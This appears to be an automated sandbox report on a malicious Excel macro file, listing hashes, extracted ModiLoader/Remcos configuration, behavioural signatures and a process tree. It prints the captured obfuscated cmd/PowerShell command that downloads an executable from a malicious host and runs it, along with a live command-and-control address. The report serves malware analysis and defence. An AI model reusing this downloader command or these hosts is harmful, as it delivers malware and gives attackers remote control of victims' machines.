Analysis
-
max time kernel
150s -
max time network
151s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
18-01-2021 16:33
Static task
static1
Behavioral task
behavioral1
Sample
Order No-202000125.xlsm
Resource
win7v20201028
Behavioral task
behavioral2
Sample
Order No-202000125.xlsm
Resource
win10v20201028
General
-
Target
Order No-202000125.xlsm
-
Size
410KB
-
MD5
2c71ebde60e06f76a2ccc831400f24b7
-
SHA1
7d7294586a74052bce542ba4cd1fb3eeb2ea08a3
-
SHA256
cc52b8f39a31d7372f7c3d76e386fa20f830b530dec05ce67229e4abf33c92d9
-
SHA512
ec36d40a564d98c77a198eed1ab1d0fae309e19800fa00a9f50fdfab6b393bca804c71ca97ce2354c47e707a7d0d84429e280ddb4c0a93730c4f953331b31f87
Malware Config
Extracted
http://winsfgt.com/php/u.exe
Extracted
remcos
79.134.225.19:2556
Signatures
-
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1384 792 cmd.exe EXCEL.EXE -
ModiLoader First Stage 4 IoCs
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\bFPTx.bat modiloader_stage1 C:\Users\Admin\AppData\Local\Temp\bFPTx.bat modiloader_stage1 C:\Users\Admin\AppData\Local\Temp\bFPTx.bat modiloader_stage1 \Users\Admin\AppData\Local\Temp\bFPTx.bat modiloader_stage1 -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 7 1716 powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
bFPTx.batpid process 604 bFPTx.bat -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 792 EXCEL.EXE 792 EXCEL.EXE -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
bFPTx.batdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\Yqjbm = "C:\\Users\\Admin\\mbjqY.url" bFPTx.bat -
Office loads VBA resources, possible macro or embedded object present
-
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Processes:
EXCEL.EXEbFPTx.batdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Main bFPTx.bat Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE -
Processes:
bFPTx.batdescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 bFPTx.bat Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 bFPTx.bat -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 9 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 11 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 792 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1716 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1716 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 792 EXCEL.EXE 792 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 5 IoCs
Processes:
EXCEL.EXEbFPTx.batpid process 792 EXCEL.EXE 792 EXCEL.EXE 792 EXCEL.EXE 604 bFPTx.bat 604 bFPTx.bat -
Suspicious use of WriteProcessMemory 31 IoCs
Processes:
EXCEL.EXEcmd.exebFPTx.batdescription pid process target process PID 792 wrote to memory of 1384 792 EXCEL.EXE cmd.exe PID 792 wrote to memory of 1384 792 EXCEL.EXE cmd.exe PID 792 wrote to memory of 1384 792 EXCEL.EXE cmd.exe PID 792 wrote to memory of 1384 792 EXCEL.EXE cmd.exe PID 1384 wrote to memory of 1716 1384 cmd.exe powershell.exe PID 1384 wrote to memory of 1716 1384 cmd.exe powershell.exe PID 1384 wrote to memory of 1716 1384 cmd.exe powershell.exe PID 1384 wrote to memory of 1716 1384 cmd.exe powershell.exe PID 792 wrote to memory of 604 792 EXCEL.EXE bFPTx.bat PID 792 wrote to memory of 604 792 EXCEL.EXE bFPTx.bat PID 792 wrote to memory of 604 792 EXCEL.EXE bFPTx.bat PID 792 wrote to memory of 604 792 EXCEL.EXE bFPTx.bat PID 604 wrote to memory of 584 604 bFPTx.bat ieinstal.exe PID 604 wrote to memory of 584 604 bFPTx.bat ieinstal.exe PID 604 wrote to memory of 584 604 bFPTx.bat ieinstal.exe PID 604 wrote to memory of 584 604 bFPTx.bat ieinstal.exe PID 604 wrote to memory of 584 604 bFPTx.bat ieinstal.exe PID 604 wrote to memory of 584 604 bFPTx.bat ieinstal.exe PID 604 wrote to memory of 584 604 bFPTx.bat ieinstal.exe PID 604 wrote to memory of 584 604 bFPTx.bat ieinstal.exe PID 604 wrote to memory of 584 604 bFPTx.bat ieinstal.exe PID 604 wrote to memory of 584 604 bFPTx.bat ieinstal.exe PID 604 wrote to memory of 584 604 bFPTx.bat ieinstal.exe PID 604 wrote to memory of 584 604 bFPTx.bat ieinstal.exe PID 604 wrote to memory of 584 604 bFPTx.bat ieinstal.exe PID 604 wrote to memory of 584 604 bFPTx.bat ieinstal.exe PID 604 wrote to memory of 584 604 bFPTx.bat ieinstal.exe PID 604 wrote to memory of 584 604 bFPTx.bat ieinstal.exe PID 604 wrote to memory of 584 604 bFPTx.bat ieinstal.exe PID 604 wrote to memory of 584 604 bFPTx.bat ieinstal.exe PID 604 wrote to memory of 584 604 bFPTx.bat ieinstal.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Order No-202000125.xlsm"1⤵
- Loads dropped DLL
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start p^owersh^el^l -w 1 (New-Object Net.WebClient).DownloadFile('http://winsfgt.com/php/u.exe',($env:Temp)+'\bFPTx.bat')2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -w 1 (New-Object Net.WebClient).DownloadFile('http://winsfgt.com/php/u.exe',($env:Temp)+'\bFPTx.bat')3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\bFPTx.batC:\Users\Admin\AppData\Local\Temp\bFPTx.bat2⤵
- Executes dropped EXE
- Adds Run key to start application
- Modifies Internet Explorer settings
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\internet explorer\ieinstal.exe"C:\Program Files (x86)\internet explorer\ieinstal.exe"3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\bFPTx.batMD5
1982963b64d323f39033d40641437595
SHA18dde953e501af236d8be98dbf6d683fda458ba38
SHA25660119cfc3cd6b63295c163fad7ab43949d62d5ed6bb024cd3054a2c64e8339c7
SHA51275481182ea78ca9e6ee9022db2e2cfb869419a779e37e149d8c70da3e3f8132dcffcb53a368311bd7dfbe13dab1ee2eae7846aefd361848a375f91d4f61e31b1
-
C:\Users\Admin\AppData\Local\Temp\bFPTx.batMD5
1982963b64d323f39033d40641437595
SHA18dde953e501af236d8be98dbf6d683fda458ba38
SHA25660119cfc3cd6b63295c163fad7ab43949d62d5ed6bb024cd3054a2c64e8339c7
SHA51275481182ea78ca9e6ee9022db2e2cfb869419a779e37e149d8c70da3e3f8132dcffcb53a368311bd7dfbe13dab1ee2eae7846aefd361848a375f91d4f61e31b1
-
\Users\Admin\AppData\Local\Temp\bFPTx.batMD5
1982963b64d323f39033d40641437595
SHA18dde953e501af236d8be98dbf6d683fda458ba38
SHA25660119cfc3cd6b63295c163fad7ab43949d62d5ed6bb024cd3054a2c64e8339c7
SHA51275481182ea78ca9e6ee9022db2e2cfb869419a779e37e149d8c70da3e3f8132dcffcb53a368311bd7dfbe13dab1ee2eae7846aefd361848a375f91d4f61e31b1
-
\Users\Admin\AppData\Local\Temp\bFPTx.batMD5
1982963b64d323f39033d40641437595
SHA18dde953e501af236d8be98dbf6d683fda458ba38
SHA25660119cfc3cd6b63295c163fad7ab43949d62d5ed6bb024cd3054a2c64e8339c7
SHA51275481182ea78ca9e6ee9022db2e2cfb869419a779e37e149d8c70da3e3f8132dcffcb53a368311bd7dfbe13dab1ee2eae7846aefd361848a375f91d4f61e31b1
-
memory/584-50-0x0000000010540000-0x0000000010564000-memory.dmpFilesize
144KB
-
memory/584-51-0x00000000001D0000-0x00000000001F1000-memory.dmpFilesize
132KB
-
memory/584-45-0x00000000001C0000-0x00000000001C1000-memory.dmpFilesize
4KB
-
memory/584-43-0x00000000000D0000-0x00000000000D1000-memory.dmpFilesize
4KB
-
memory/584-42-0x0000000000000000-mapping.dmp
-
memory/584-41-0x0000000000090000-0x0000000000091000-memory.dmpFilesize
4KB
-
memory/604-40-0x00000000002A0000-0x00000000002A1000-memory.dmpFilesize
4KB
-
memory/604-36-0x0000000000000000-mapping.dmp
-
memory/792-2-0x000000002F071000-0x000000002F074000-memory.dmpFilesize
12KB
-
memory/792-4-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/792-3-0x00000000715E1000-0x00000000715E3000-memory.dmpFilesize
8KB
-
memory/1384-5-0x0000000000000000-mapping.dmp
-
memory/1716-24-0x00000000065B0000-0x00000000065B1000-memory.dmpFilesize
4KB
-
memory/1716-12-0x0000000004850000-0x0000000004851000-memory.dmpFilesize
4KB
-
memory/1716-32-0x0000000006640000-0x0000000006641000-memory.dmpFilesize
4KB
-
memory/1716-23-0x0000000006120000-0x0000000006121000-memory.dmpFilesize
4KB
-
memory/1716-22-0x000000007EF30000-0x000000007EF31000-memory.dmpFilesize
4KB
-
memory/1716-17-0x00000000060E0000-0x00000000060E1000-memory.dmpFilesize
4KB
-
memory/1716-14-0x0000000005240000-0x0000000005241000-memory.dmpFilesize
4KB
-
memory/1716-31-0x00000000062E0000-0x00000000062E1000-memory.dmpFilesize
4KB
-
memory/1716-6-0x0000000000000000-mapping.dmp
-
memory/1716-13-0x0000000004852000-0x0000000004853000-memory.dmpFilesize
4KB
-
memory/1716-11-0x0000000002540000-0x0000000002541000-memory.dmpFilesize
4KB
-
memory/1716-10-0x0000000004890000-0x0000000004891000-memory.dmpFilesize
4KB
-
memory/1716-9-0x0000000000980000-0x0000000000981000-memory.dmpFilesize
4KB
-
memory/1716-8-0x000000006C190000-0x000000006C87E000-memory.dmpFilesize
6.9MB
-
memory/1716-7-0x00000000765E1000-0x00000000765E3000-memory.dmpFilesize
8KB
-
memory/1772-39-0x000007FEF7730000-0x000007FEF79AA000-memory.dmpFilesize
2.5MB